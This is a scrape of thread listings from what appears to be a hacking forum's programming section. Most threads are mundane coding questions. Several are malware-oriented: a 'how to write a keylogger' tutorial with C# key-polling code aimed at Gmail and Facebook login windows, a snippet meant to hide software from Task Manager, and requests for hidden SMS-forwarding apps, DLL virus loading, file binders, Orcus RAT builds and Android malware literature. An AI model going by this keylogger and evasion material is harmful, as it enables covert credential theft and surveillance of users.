Does anyone have experience with installing the Microsoft/SEAL library without building the installation for VS? Would rather roll with gcc for simplicities sake (testing function). Can CMakeLists file be modified to accommodate this? Thanks

Децентрализация
ID: 6765d804b4103b69df3757bb
Thread ID: 94705
Created: 2023-08-03T16:06:40+0000
Last Post: 2023-08-03T16:06:40+0000
Author: Naturalov
Replies: 0 Views: 175

Подкиньте материалы по децентрализованным системам что бы не начудить.

Спасибо.

MSYS2 > GCC C
ID: 6765d804b4103b69df3757ef
Thread ID: 87226
Created: 2023-05-03T17:13:41+0000
Last Post: 2023-05-03T17:13:41+0000
Author: DimmuBurgor
Replies: 0 Views: 175

For those writing code in windows without the native IDE you'll probably end up needing gcc (of some variation), either for importing a module or just to compile a build. For whatever reason it's not offered through winget (hmm...?) so the logical solution is to add shell with MSYS2 or similar and grab the files from package manager. Obviously we add the binary directories to the system path environment variable ($env:Path +=) and we're done. There seems to be a million different people on github and stack confused why they can't see the version after this step. If you encounter this, you should be declaring three bin paths (32/64/32x64) to clarify. That's it.

Программирование на языке Visual C++. Назарр К., Рихтер Дж. С исходниками к книге.
ID: 6765d804b4103b69df3758db
Thread ID: 64917
Created: 2022-03-28T00:49:23+0000
Last Post: 2022-03-29T08:20:13+0000
Author: bhc_crew
Replies: 1 Views: 172

Забыл добавить опцию 'книга-мануал' при создании темы.

[C#] Имя процесса и остановка другого, при появлении выбранного
ID: 6765d804b4103b69df3758f5
Thread ID: 63421
Created: 2022-02-23T20:53:04+0000
Last Post: 2022-02-23T21:43:07+0000
Author: Ags1of
Replies: 2 Views: 171

Здравствуйте, делаю определённый софт, одна из функций защиты заключается в том, что при запуске диспетчера задач или процесс хакера, софт должен как-то себя либо зафризить на время того, когда одна из этих программ запущена и не показываться ни там, ни там.

Вот наброски кода:

C#:Copy to clipboard

 public static void Defense()
        {
            Process proc = new Process();

            while (true)
            {
                Thread.Sleep(1000);
                Process[] procList = Process.GetProcesses();
                string[] attackedProcess = { "System.Diagnostics.Process (ProcessHacker)", "System.Diagnostics.Process (Taskmgr)", "Taskmgr.exe", "Taskmgr", "Process Hacker", "Process Hacker.exe", "process hacker", "process hacker.exe" };
                
                for(int x = 0;x < procList.Length; x++)
                {
                    Console.WriteLine(procList[x]);
                    for(int z = 0;z < 8; z++)
                    {
                        //Console.WriteLine(attackedProcess[z]);
                        if (procList[x].ToString() == attackedProcess[z])
                        {
                            break;
                        }
                        else
                        {
                            continue;
                        }
                    }
                }
            }
как заменить оператор new для класса
ID: 6765d804b4103b69df3758a0
Thread ID: 71075
Created: 2022-08-03T15:31:39+0000
Last Post: 2022-08-03T15:40:37+0000
Author: jingo
Replies: 1 Views: 169

отыскал на гитхабе класс архивирования
(source)
истребляю все crt функции, strcpy, strlen...
но никак не могу заменить new для структуры и класса

C:Copy to clipboard

HZIP CreateZipInternal(void* z, unsigned int len, DWORD flags, const char* password)
{
    TZip* zip = new TZip(password);
    lasterrorZ = zip->Create(z, len, flags);
    if (lasterrorZ != ZR_OK)
    {
        delete zip;
        return 0;
    }
    TZipHandleData* han = new TZipHandleData;
    han->flag = 2; han->zip = zip; return (HZIP)han;
}

собственно, пытался заменить оператор new вот так

C:Copy to clipboard

HZIP CreateZipInternal(void* z, unsigned int len, DWORD flags, const char* password)
{
    TZip* zip = (TZip*)AllocateMemory(sizeof(TZip*));

    zip->hfout = 0;
    zip->mustclosehfout = false;
    zip->hmapout = 0;
    zip->zfis = 0;
    zip->obuf = 0;
    zip->hfin = 0;
    zip->writ = 0;
    zip->oerr = false;
    zip->hasputcen = false;
    zip->ooffset = 0;
    zip->encwriting = false;
    zip->encbuf = 0;
    zip->password = 0;
    zip->state = 0;

    lasterrorZ = zip->Create(z, len, flags);
    if (lasterrorZ != ZR_OK)
    {
        FreeMemory(zip);
        return 0;
    }
    TZipHandleData* han = (TZipHandleData*)AllocateMemory(sizeof(TZipHandleData*));

    han->flag = 2;
    han->zip = zip;

    return (HZIP)han;
}

но код крашится...
куда копать?

Вопрос с++
ID: 6765d804b4103b69df37587b
Thread ID: 74620
Created: 2022-10-23T13:26:15+0000
Last Post: 2022-10-23T14:39:25+0000
Author: kingessopper
Replies: 1 Views: 168

Как сделать подгрузку вируса из длл через биты или байты

Проблемы с подключением rdp
ID: 6765d804b4103b69df375779
Thread ID: 101647
Created: 2023-11-05T09:14:49+0000
Last Post: 2023-11-05T09:14:49+0000
Author: SlEpOy_SnIpEr
Replies: 0 Views: 167

Приветствую. Пишу маленькую прогу, которая при нажатии на кнопку button1_Click выполнялось подключение по rdp с заранее открытого текстового файла, но есть одно НО : после нажатия на кнопку подключение происходит нормально без проблем, после того как я нажимаю повторно на эту же кнопку то нету подключения.
Т.е. отключается от предыдущего подключения и запускается метод подключение к следующему серверу из списка.
Но дело в том, что ко 2-му серверу он не подключается. НО если нажать на кнопку 3 раз. но он подключается к 3-му серверу. Получается, что каждое второе 2-го нажатие на кнопку, не выполняется условие , которое в методе ConnectRdp "if (rdp.Connected == 0);"
Решил проверить переменную с помощью Console.WriteLine();
Дело в переменной rdp.Connected;
Получается, что после первого нажатия на кнопку значение переменной rdp.Connected = 0;
После подключения переменная изменяется на rdp.Connected = 2;
После 2-го нажатия на кнопку значение переменной rdp.Connected = 1 и перед подключением rdp.Connected = 1 ; и условие if (rdp.Connected == 0); не выполняется, но если убрать условие, то выдает ошибку.
но если 3-ий раз нажать на кнопку, то значения переменной изменяются как после 1-го нажатия на кнопку:
после нажатия на кнопку значение переменной rdp.Connected = 0;
После подключения переменная изменяется на rdp.Connected = 2;
И подключается к 3 серверу

Что не так с кодом? Буду признателен за помощь
Для подключения по rdp использую AxMSTSCLib

вот часть кода:

C#:Copy to clipboard

private int currentIndex = 0;
public Form1()
{
    InitializeComponent();
}

private void открытьToolStripMenuItem_Click(object sender, EventArgs e)
{
    openFileDialog1.Filter = "Текстовые файлы (*.txt)|*.txt";
    openFileDialog1.FileName = "Текстовой документ";
    if (openFileDialog1.ShowDialog() == DialogResult.OK)
    {
        listBox1.Items.Clear();
        string fileName = openFileDialog1.FileName;
        string[] lines = File.ReadAllLines(fileName);
        foreach (string line in lines)
        {
            listBox1.Items.Add(line);
        }
    }
}

private void button1_Click(object sender, EventArgs e)
{
    Console.WriteLine("После нажатия на кнопку: " + rdp.Connected);
    if (rdp.Connected == 1)
    {
        rdp.Disconnect();
    }
    ConnectRdp();
    currentIndex++;
}
private void ConnectRdp()
{
    if (currentIndex < listBox1.Items.Count)
    {
        Console.WriteLine("Перед подключением: " + rdp.Connected);
        if (rdp.Connected == 0)
        {
            //rdp.UserName = "";
            //rdp.AdvancedSettings9.ClearTextPassword = "";
            //rdp.AdvancedSettings9.EnableCredSspSupport = true;
            rdp.Server = listBox1.Items[currentIndex].ToString();
            rdp.Connect();
            Console.WriteLine("После подключения: " + rdp.Connected);
        }
    }
    else
    {
        MessageBox.Show("Закончились айпи!");
    }
}
How To Write And Create a Keylogger in C# with
ID: 6765d804b4103b69df3758b5
Thread ID: 69221
Created: 2022-06-26T09:08:21+0000
Last Post: 2022-06-26T09:09:11+0000
Author: Zviper
Replies: 1 Views: 167

First I want to clarify that this is a very basic keylogger that almost everyone can do if you are starting to learn how to code malware you can use this as a guide and make your way.

Step 1
To hook into the keyboard, all you have to do is use these two C# lines:

  1. [DllImport("user32.dll")]
    1. public static extern int GetAsyncKeyState(Int32 i);

Basically what this does is that it determines whether a key is up or down at the time the function is called and whether the key was pressed after a previous call to GetAsyincKeyState.

Now that you have this you continually call this function to get the keyboard data you need, So lets go with the step 2:

  1. while (true)
  2. {
  3. Thread.Sleep(100);
  4. for (Int32 i = 0; i < 255; i++)
  5. {
  6. int state = GetAsyncKeyState(i);
  7. if (state == 1 || state == -32767)
  8. {
  9. Console.WriteLine((Keys)i);
    1. }
  10. }
  11. }

What you are doing here is basically that the loop will poll the keyboard every 100 milliseconds to detect the state of each key.

If one of them is pressed , it will print it out to the console.

I will show you a more complex but smarter way to do it:

  1. while (true)
  2. {
    1. IntPtr handle = GetForegroundWindow();
    1. if (GetWindowText(handle, buff, chars) > 0)
    1. {
    1. stringline = buff.ToString();
    1. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
    1. {
    1. //Check keyboard
    1. }
    1. }
    1. Thread.Sleep(100);
    1. }

This code will basically probe the active window every 100ms. GetForegroundWindows does the real heaving lifting. The title of the window will be returned in the “buff” variable, and the keyboard scanning code is called if it contains the word “Facebook” or “Gmail.

Какой больше всего видеокурс/книга по c++ вам больше всего понравилась ?
ID: 6765d804b4103b69df375889
Thread ID: 73979
Created: 2022-10-05T12:36:47+0000
Last Post: 2022-10-05T15:37:42+0000
Author: Yshial
Replies: 1 Views: 166

Добрый вечер, интересуют книги, видеокурсы по с++, которые больше всего вас порадовали и дали вам знания.

-
ID: 6765d804b4103b69df37589e
Thread ID: 71590
Created: 2022-08-12T21:57:36+0000
Last Post: 2022-08-12T21:57:36+0000
Author: RastaFarEye
Replies: 0 Views: 166
Сборка Firefox из исходников
ID: 6765d804b4103b69df3758a5
Thread ID: 70677
Created: 2022-07-26T10:56:07+0000
Last Post: 2022-07-26T11:04:22+0000
Author: NeManeNot
Replies: 1 Views: 164

Всем привет. Буду краток. Захотел сделать свою сборку Firefox со своими расширениями, темами, userchrome и т.п.
Все делал как завещалось. Сначала получил исходники через hg clone, потом в самой директории собирал через ./mach build и запуск через ./mach run

Так вот вопрос. Не понимаю, как получить конечный файл setup.exe? Как собрать именно установщик? Погуглил, инструкции вроде какие-то есть, но не понятны. То ли я тупой, то ли нет конкретики в них, хз.

Прошу о помощи всех сведующих. Заранее всем большое спасибо.

Clean CSV for Leads
ID: 6765d804b4103b69df375801
Thread ID: 85104
Created: 2023-04-03T04:40:59+0000
Last Post: 2023-04-03T04:40:59+0000
Author: DimmuBurgor
Replies: 0 Views: 163

C#:Copy to clipboard

using System;
using System.IO;

class Program
{
    static void Main(string[] args)
    {
Open the input CSV file for reading
        StreamReader reader = new StreamReader("input.csv");

Open the output CSV file for writing
        StreamWriter writer = new StreamWriter("output.csv");

Write the header to the output CSV file
writer. WriteLine("First Name,Last Name,Email");

Read the input CSV file line by line
while (!reader. EndOfStream)
        {
string line = reader. ReadLine();

Split the line into an array of values
string[] values = line. Split(',');

Extract the first and last name and email from the array
            string firstName = values[0];
            string lastName = values[1];
            string email = values[15];

Write the first name, last name, and email to the output CSV file
writer. WriteLine("{0},{1},{2}", firstName, lastName, email);
        }

Close the reader and writer
reader. Close();
writer. Close();

        Console.WriteLine("Output saved to output.csv.");
    }
}

Next I'll modify it to include winforms to select input from file explorer. Nothing spectacular but I'm just starting out so I'm happy =)

[C#]Http клиент-сервер с прокси
ID: 6765d804b4103b69df375802
Thread ID: 85092
Created: 2023-04-02T19:56:42+0000
Last Post: 2023-04-02T19:56:42+0000
Author: Ags1of
Replies: 0 Views: 163

Всем привет, решил я значит сделать прогу для фильтрации трафика, чтобы была возможность блокировать загрузку сайтов, которые я внёс в ЧС, а открывать вместо них сайты-аналоги, так вот, сделал установку проксей в систему, чтобы браузеры хватали и использовали именно их(прокси - localhost), так вот перешёл я к самой реализации клиента и сервера, но что-то не получается, возможно из- за того, что я не до конца понимаю, как это должно работать, но я смог поднять простейшие Tcp сервер, использую TcpListener, оттуда я могу спокойно выводить запросы, которые идут на нужный мне прокси(локалхост), но далее я не могу никак работать с этими запросами, пытался поднять сервер с помощью HttpListener, да и в общем пространства имён System.Net, использую различные методы Http, но, не выходит, вот код, в котором я пытался что-то делать, помогите, пожалуйста, кто чем сможет. Мне нужно, чтобы сервер принимал пакеты от клиента(браузера), обрабатывал их, если нужно, подменял ссылку, но я так думаю, что там дело не столько в сервере, сколько в клиенте, потому что мне изначально нужно принимать пакеты клиента(браезура), а потом сервером отвечать на них(т.е. делать так, чтобы страница открывалась в браузере).
(В урле много комментариев, так как это всё неудачные попытки реализации клиент-сервера)

Code:Copy to clipboard

public static void Server(string message)
        {
            
            //var Listener = new HttpListener();
            //Console.WriteLine($"http://{ip}:{port}/");
            //Listener.Prefixes.Add($"http://{ip}:{port}/");
            //Listener.Start();

            Console.WriteLine("Сервер пошёл!");

            while (true)
            {
                //HttpListenerContext context = Listener.GetContext();
                //HttpListenerRequest req = context.Request;

                //Console.WriteLine($"Полученный пакет от: {req.Url}");

                //HttpListenerResponse resp = context.Response;

                //resp.Headers.Set("Content-Type", "text/plain");

                //string data = "Hello there!";
                //byte[] buffer = Encoding.UTF8.GetBytes(data);
                //resp.ContentLength64 = buffer.Length;

                //Stream ros = resp.OutputStream;
                //ros.Write(buffer, 0, buffer.Length);
            }
        }


        public static void ServerClient()
        {
            TcpListener server = new TcpListener(IPAddress.Parse(ip), port);

            try
            {
                server.Start();
                Console.WriteLine("Сервер пошёл!");
                while (true)
                {
                    TcpClient client = server.AcceptTcpClient();
                    Console.WriteLine("Входящее подключение " + client.Client.RemoteEndPoint);
                    while (true)
                    {

                        //WaitMessage(client);
                        var stream = client.GetStream(); //Создаём сетевой поток для работы с клиентом
                        byte[] data = new byte[1024];
                        int bytes = stream.Read(data, 0, data.Length);
                        
                        string message = Encoding.UTF8.GetString(data, 0, bytes);
                        string method = message.Split(' ')[0];
                        Console.WriteLine($"Сообщение: {message}, {method}");
                        
                        //Server(message);
                        Thread.Sleep(1000);
                        //Prinyatie_command(message, client);
                    }
                    //client.Close();
                }
            }
            catch(Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }

        } //доделать


        public async Task  ReceivePacket(string RemoteEndPoint)
        {
            //HttpMethod _method = method;
            //var PrefixToListen = "http://"
            try
            {




                HttpClient httpClient = new HttpClient();
                HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Get, "https://www.google.com");
                HttpResponseMessage response = httpClient.SendAsync(request).Result;
                Console.WriteLine(response.Content);
                Console.WriteLine(response.StatusCode.ToString());




                //HttpClient httpClient = new HttpClient();

                //HttpRequestMessage request = new HttpRequestMessage(_method, url);
                //var headers = request.Headers;
                //if (headers.Count() != 3)
                //{
                //    Console.WriteLine("Бэд реквест");
                //    return;
                //}
                //HttpMethod __method = request.Method;
                //Uri RequestUri = request.RequestUri;
                //Version vewrsion = request.Version;
                //MemoryStream ms = new MemoryStream();
                //HttpContent content = new StreamContent(ms);

                //HttpResponseMessage response = await httpClient.SendAsync(request);
                //Console.WriteLine(response.StatusCode.ToString());


                // await SendResponse(response);


            }
            catch(Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        }
[C#]Вечная ошибка
ID: 6765d804b4103b69df3758b6
Thread ID: 68914
Created: 2022-06-20T00:49:19+0000
Last Post: 2022-06-20T17:43:58+0000
Author: Ags1of
Replies: 4 Views: 163

пытаюсь сделать парсер коммерческих почт с ютуба на C#, передаю все нужные параметры, но всё время высвечивается ошибка того, что я превысил лимит просмотра коммерческих почт(с одного аккаунта, в день, можно смотреть 5 таких почт, если я не ошибаюсь в количестве), хотя я вообще не превышаю этот запрос, а от силы делаю один такой запрос для того, чтобы найти нужные параметры в Postman(через него отправляю запросы к yt, чтобы потом перевести в C# код). Подскажите, в ч1м может быть ошибка?1655686161705.png

[C#]Как спарсить с сайта ответ
ID: 6765d804b4103b69df3758f4
Thread ID: 63424
Created: 2022-02-23T22:33:06+0000
Last Post: 2022-02-23T22:54:39+0000
Author: Ags1of
Replies: 1 Views: 162

как спарсить с этого сайта украинский ip или нет ссылка на сайт

changing exe file canvas codes
ID: 6765d804b4103b69df3758c7
Thread ID: 67048
Created: 2022-05-15T20:20:16+0000
Last Post: 2022-05-15T20:20:16+0000
Author: Emir35
Replies: 0 Views: 160

Is it possible to make a custom binder that can replace exe file canvas codes with jpeg word macro etc with c++ or c?

C# I'm getting an error when trying to export datagridview data to a csv file / C# Я получаю сообщение об ошибке при попытке экспортировать данные dat
ID: 6765d804b4103b69df3758c5
Thread ID: 67295
Created: 2022-05-19T12:42:05+0000
Last Post: 2022-05-19T13:28:12+0000
Author: danthe
Replies: 7 Views: 156

hi I don't know Russian thats why I'll use translate for convert my text to Russian so I'm if anything wrong

// English Version //

I want to export the data's in datagridview to csv file I created a class for export option then call class from the button but I'm getting the error

C#:Copy to clipboard

using System.Windows.Forms;

namespace excel2

    internal class ExportHelper
    {
        public bool Export(DataGridView dgv)
        {
            bool exported = false;

            List<string> lines = new List<string>();
            DataGridViewColumnCollection column = dgv.Columns;
            bool firstDone = false;
            StringBuilder columnLine = new StringBuilder();
            foreach(DataGridViewColumn col in column)
            {
                if(!firstDone)
                {
                    columnLine.Append(col.DataPropertyName);
                    firstDone = true;
                }
                else
                {
                    columnLine.Append("," + col.DataPropertyName);
                }
            }
            lines.Add(columnLine.ToString());

            //data lines
            foreach(DataGridViewRow row in dgv.Rows)
            {
                StringBuilder dataLine = new StringBuilder();
                firstDone = false;
                foreach(DataGridViewCell cell in row.Cells)
                {
                    if (firstDone)
                    {
                        dataLine.Append(cell.Value);
                        firstDone= true;
                    }
                    else
                    {
                        dataLine.Append(","+cell.Value);
                    }
                    lines.Add(dataLine.ToString());
                }

            }
            string file = Path.Combine(Application.StartupPath, "Excel");
            File.WriteAllLines(file,lines); //this line giving error
            System.Diagnostics.Process.Start(file);

            return exported;
        }
    }

the code I attached to button from form

C#:Copy to clipboard

private void button8_Click(object sender, EventArgs e)
{
    new ExportHelper().Export(dataGridView1);
}

the errror message : System.UnauthorizedAccessException: ''C:\Users\Danthe\Desktop\VisualStudio\excel2\bin\Debug\Excel' Access denied to path.'

// Russian Version //

Я хочу экспортировать данные из datagridview в csv-файл, я создал класс для опции экспорта, затем вызываю класс с помощью кнопки, но я получаю сообщение об ошибке

Code:Copy to clipboard

using System.Windows.Forms;

namespace excel2

    internal class ExportHelper
    {
        public bool Export(DataGridView dgv)
        {
            bool exported = false;

            List<string> lines = new List<string>();
            DataGridViewColumnCollection column = dgv.Columns;
            bool firstDone = false;
            StringBuilder columnLine = new StringBuilder();
            foreach(DataGridViewColumn col in column)
            {
                if(!firstDone)
                {
                    columnLine.Append(col.DataPropertyName);
                    firstDone = true;
                }
                else
                {
                    columnLine.Append("," + col.DataPropertyName);
                }
            }
            lines.Add(columnLine.ToString());

            //data lines
            foreach(DataGridViewRow row in dgv.Rows)
            {
                StringBuilder dataLine = new StringBuilder();
                firstDone = false;
                foreach(DataGridViewCell cell in row.Cells)
                {
                    if (firstDone)
                    {
                        dataLine.Append(cell.Value);
                        firstDone= true;
                    }
                    else
                    {
                        dataLine.Append(","+cell.Value);
                    }
                    lines.Add(dataLine.ToString());
                }

            }
            string file = Path.Combine(Application.StartupPath, "Excel");
            File.WriteAllLines(file,lines); //this line giving error
            System.Diagnostics.Process.Start(file);

            return exported;
        }
    }

код, который я прикрепил к кнопке из формы

C#:Copy to clipboard

private void button8_Click(object sender, EventArgs e)
{
    new ExportHelper().Export(dataGridView1);
}

сообщение об ошибке : System.UnauthorizedAccessException: ''C:\Users\Danthe\Desktop\VisualStudio\excel2\bin\Debug\Excel' Access denied to path.'
------------------------------------
Я не знаю русского языка, поэтому я использовал перевод, чтобы перевести его на русский. Мне жаль, если я был неправ

Как интегрировать Android Studio с Manycam?
ID: 6765d804b4103b69df3758d4
Thread ID: 65360
Created: 2022-04-08T03:31:00+0000
Last Post: 2022-04-08T03:31:00+0000
Author: elmago777
Replies: 0 Views: 155

Как интегрировать Android Studio с Manycam?

[C#]Как сделать анализатор и классификатор трафика?
ID: 6765d804b4103b69df37587f
Thread ID: 74566
Created: 2022-10-22T00:51:05+0000
Last Post: 2022-10-22T10:15:54+0000
Author: Ags1of
Replies: 3 Views: 154

Хочу сделать анализатор трафика, но ничего не выходит, нашёл некоторые сурсы, попробовал запустить, но они не работают

C#:Copy to clipboard

using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using PacketDotNet;
using SharpPcap;
using SharpPcap.WinPcap;

namespace Traff
{
    public partial class Form1 : Form
    {
        CaptureDeviceList dList;
        ICaptureDevice device;
        Thread thread;
        static ICaptureDevice captureDevice;
        static int i = 0;
        static string s = "";

        public Form1()
        {
            InitializeComponent();
        }

        public void richTextBox1_TextChanged(object sender, EventArgs e)
        {

        }

        public void capture()
        {
            try
            {
                CaptureDeviceList deviceList = CaptureDeviceList.Instance;
                // выбираем первое устройство в спсике (для примера)
                int z = 0;
                foreach(var dev in deviceList)
                {
                    //richTextBox1.AppendText(dev.Name);
                    //MessageBox.Show(dev.Name);
                }


                captureDevice = deviceList[2];
                // регистрируем событие, которое срабатывает, когда пришел новый пакет
                captureDevice.OnPacketArrival += new PacketArrivalEventHandler(Program_OnPacketArrival);
                // открываем в режиме promiscuous, поддерживается также нормальный режим
                captureDevice.Open(DeviceMode.Promiscuous, 1000);
                // начинаем захват пакетов
                captureDevice.StartCapture();
            }
            catch (ThreadAbortException)
            {
                Thread.ResetAbort();
                captureDevice.Close();
                captureDevice.OnPacketArrival -= new PacketArrivalEventHandler(Program_OnPacketArrival);
                return;
            }
        }

        public void Program_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            if (i < 2)
            {
                // парсинг всего пакета
                Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);

                var ip = packet.Extract<PacketDotNet.IPPacket>();
                if (ip != null)
                {
                    richTextBox1.AppendText("Original IP packet: " + ip.ToString());
                    MessageBox.Show("Original IP packet: " + ip.ToString());

                }
                var tcp = packet.Extract<PacketDotNet.TcpPacket>();
                if (tcp != null)
                {
                    richTextBox1.AppendText("Original TCP packet: " + tcp.ToString());
                    MessageBox.Show("Original TCP packet: " + tcp.ToString());
                }
                richTextBox1.AppendText("------------------------------");
            }
            else
            {
                captureDevice.Close();
                return;
            }
            i++;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            capture();
        }


    }
}

возможно это из-за того, что я выбрал неправильное устройство, но у меня не выводится информация ни об одном пакете. Может вы как-то поможете сделать анализатор трафика?
Суть его в том, что он должен отлавливать весь трафик, что есть на компе, а потом классифицировать его, т.е. распознавать, где идёт какой-либо запрос телеграма, ютуба, какой-либо соц.сети и тд. Помогите, пожалуйста

Чтение всех данных с пайпа
ID: 6765d804b4103b69df375738
Thread ID: 109511
Created: 2024-03-02T20:07:01+0000
Last Post: 2024-03-02T20:07:01+0000
Author: coree
Replies: 0 Views: 151

/del проблема решена

Java question
ID: 6765d804b4103b69df3758cc
Thread ID: 66346
Created: 2022-04-29T14:09:42+0000
Last Post: 2022-04-29T14:09:42+0000
Author: SuportCompany
Replies: 0 Views: 150

Hello to all community!
I was wondering if any have the source code for apk hidden sms forwarding to telegram channel bot, the apk just requesting sms permissions.

C# compiling Error
ID: 6765d804b4103b69df3757a8
Thread ID: 96100
Created: 2023-08-20T09:41:40+0000
Last Post: 2023-08-20T09:41:40+0000
Author: Isa
Replies: 0 Views: 146

hello,

I wanted to open source malware so I could play with it. but it wont build like the instruction says. can you help.

github https://github.com/void-stack/Orcus-1.9.1-src

Литература по Kotlin для андроид разработки.
ID: 6765d804b4103b69df3758b1
Thread ID: 69539
Created: 2022-07-02T14:30:58+0000
Last Post: 2022-07-02T14:59:13+0000
Author: Agaspherus
Replies: 1 Views: 144

Всем привет, интересна тема создания вредоносов под андроид, видел где то полгода назад тему с литературой, но сейчас не могу ее найти. Буду очень благодарен если накидаете книг по этой теме.
Заранее спасибо:)

del
ID: 6765d804b4103b69df37587d
Thread ID: 74579
Created: 2022-10-22T14:22:26+0000
Last Post: 2022-10-22T14:22:26+0000
Author: D0gger
Replies: 0 Views: 136

del

Need program made for Instagram/Нужна программа для Instagram
ID: 6765d804b4103b69df3758f1
Thread ID: 63523
Created: 2022-02-26T14:33:59+0000
Last Post: 2022-02-26T16:50:36+0000
Author: nikos
Replies: 1 Views: 135

I'm looking for long term partner who can make program for me which will be trying to claim/change username to username which i targeted.I will explain further informations on private converstation.Money will be send only in cryptocurrency which will be usually 1k per week.We will share earnings 50/50 I'm trusted on other forums so you dont need to worry.Contact is in signature. I dont care in which language you will make it

Я ищу долгосрочного партнера, который может сделать для меня программу, которая будет пытаться требовать/изменить имя пользователя на имя пользователя, на которое я нацелился. Я объясню дополнительную информацию о частном разговоре. Деньги будут отправлены только в криптовалюте, которая обычно будет 1k в неделю. Мы будем делить доход 50/50 Мне доверяют на других форумах, так что вам не о чем беспокоиться. Контакт в подписи

[c#]Проблема при работе с TitaniumWeb Proxy
ID: 6765d804b4103b69df3757ff
Thread ID: 85272
Created: 2023-04-05T12:34:40+0000
Last Post: 2023-04-05T12:34:40+0000
Author: Ags1of
Replies: 0 Views: 133

.delet

Как с FileDialog сохранить путь в string переменную
ID: 6765d804b4103b69df375907
Thread ID: 62766
Created: 2022-02-10T18:56:11+0000
Last Post: 2022-02-10T22:40:36+0000
Author: Ags1of
Replies: 2 Views: 127

C#:Copy to clipboard

        private void button2_Click(object sender, EventArgs e)
        {


            var dialog = new OpenFileDialog();
            if (dialog.ShowDialog() != DialogResult.OK)
            {
                string path = dialog.FileName;
                MessageBox.Show(path);
                return;

            }

        }
Кэш ke-value написан на языке C.
ID: 6765d804b4103b69df37590d
Thread ID: 62395
Created: 2022-02-03T03:34:24+0000
Last Post: 2022-02-03T03:34:24+0000
Author: Olympus_Madagasca
Replies: 0 Views: 124

Привет всем, я узнаю о кеше ключ-значение, таком как Memcached или Redis, написанном на C. Я пытался много искать в Google о проектах с открытым исходным кодом, однако я не нашел ни одного проекта для начинающих с C (у меня есть опыт работы с Java), Memcached для меня оказался слишком сложным. Любые предложения для открытого исходного кода или документации для меня? Извините, русский не мой родной язык. Спасибо

Возможно написать AccessibilityService для авто-выдача SuperSU Android Java
ID: 6765d804b4103b69df3757b5
Thread ID: 95380
Created: 2023-08-10T15:17:54+0000
Last Post: 2023-08-11T11:05:16+0000
Author: hackti666
Replies: 1 Views: 123

Возможно ли так?

RSA2048
ID: 6765d804b4103b69df37588a
Thread ID: 73980
Created: 2022-10-05T12:55:04+0000
Last Post: 2022-10-05T13:03:06+0000
Author: Aros
Replies: 1 Views: 122

Я написал программу с RSA2048 для шифрования моих баз данных, чтобы никто не мог получить к ним доступ.

Проблема с моей программой в том, что каждый раз, когда я ее запускаю, создается новый ID

Может ли кто-нибудь помочь мне решить эту проблему?

Я хочу, чтобы мой компьютер имел только один идентификатор, независимо от того, запускается ли он один раз или тысячу раз

И мой второй компьютер имеет другой идентификатор

На самом деле у каждого компьютера должен быть только 1 ID

Выполняется ли оно один раз или много раз

Мой язык программирования С#

TCM Security C# 101 For Hackers
ID: 6765d804b4103b69df375692
Thread ID: 128524
Created: 2024-12-08T20:26:04+0000
Last Post: 2024-12-08T20:26:04+0000
Author: Sm0ke
Replies: 0 Views: 121

TCM Security C# 101 For Hackers

Course Overview
Welcome to C# 101 for Hackers. This course introduces students to C# and the .NET framework. Students will learn to install and configure C# and .NET for development and concentrate on learning the language by writing C# console applications. Topics covered include the basic structure and syntax of C#, an introduction to the many core and fundamental statements and practices within C#, and leverage what’s discussed with examples that students can implement, re-use, and learn from further.

Key Topics

Learn how to set up and configure C# and .NET on Kali Linux.
Learn the syntax and structure of C#, and understand the basics of what .NET offers.
Review and use various code flow statements and techniques.
Learn various coding techniques and patterns that can be reused to build practical ethical hacking tools using C#.
Understand the differences between asynchronous and parallel programming and their implementations.
Learn to step through and debug your code.
Apply learned concepts through hands-on exercises and real-world scenarios to build practical and functional applications.

Prerequisites
Students should be familiar with basic scripting languages and techniques but do not need to have any prior knowledge of C# and .NET.

System Requirements
Students need a PC that runs Windows, Mac OSX, or Linux. No specific memory or space requirements exist for this course.
Course Objectives
The course objective is to provide students with a solid foundation in fundamental programming principles and practical coding skills. Through a combination of lectures and hands-on exercises, students will learn to write code utilizing basic logic, conditional statements, loops, and several popular design patterns. By the end of the course, students will be able to develop functional applications, troubleshoot issues, and apply programming concepts to solve real-world problems.

You must have at least 1 reaction(s) to view the content.

[C#]Не работает настройка прокси сервера
ID: 6765d804b4103b69df3757f7
Thread ID: 86108
Created: 2023-04-17T22:49:24+0000
Last Post: 2023-04-17T22:49:24+0000
Author: Ags1of
Replies: 0 Views: 116

у меня есть такой код для настройки прокси в системе:

C#:Copy to clipboard

public static void NewSetProxy()

        {

            try

            {

                var proxyServerAddress = "127.0.0.1"; // адрес прокси-сервера

                var proxyServerPort = "8484"; // порт прокси-сервера

                RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);



                // Включить использование прокси-сервера

                registry.SetValue("ProxyEnable", 1);



                // Установить адрес и порт прокси-сервера

                registry.SetValue("ProxyServer", $"{proxyServerAddress}:{proxyServerPort}");



                // Применить настройки

                registry.Close();

                RefreshInternetSettings();





                ////RegistryKey registry = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);

                //RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);



                //// устанавливаем значения в реестре Windows для всех браузеров

                //registry.SetValue("ProxyServer",

                //                  $"{proxyServerAddress}:{proxyServerPort}");



                //registry.SetValue("ProxyEnable",

                //                  "1");

                //InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);

                //InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);

                Console.WriteLine("Прокси были применены_________________________");

            }

            catch (Exception ex)

            {

                Console.WriteLine(ex.ToString());

            }

        }



        public static void UnsetProxy()

        {

            //RegistryKey registry = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);

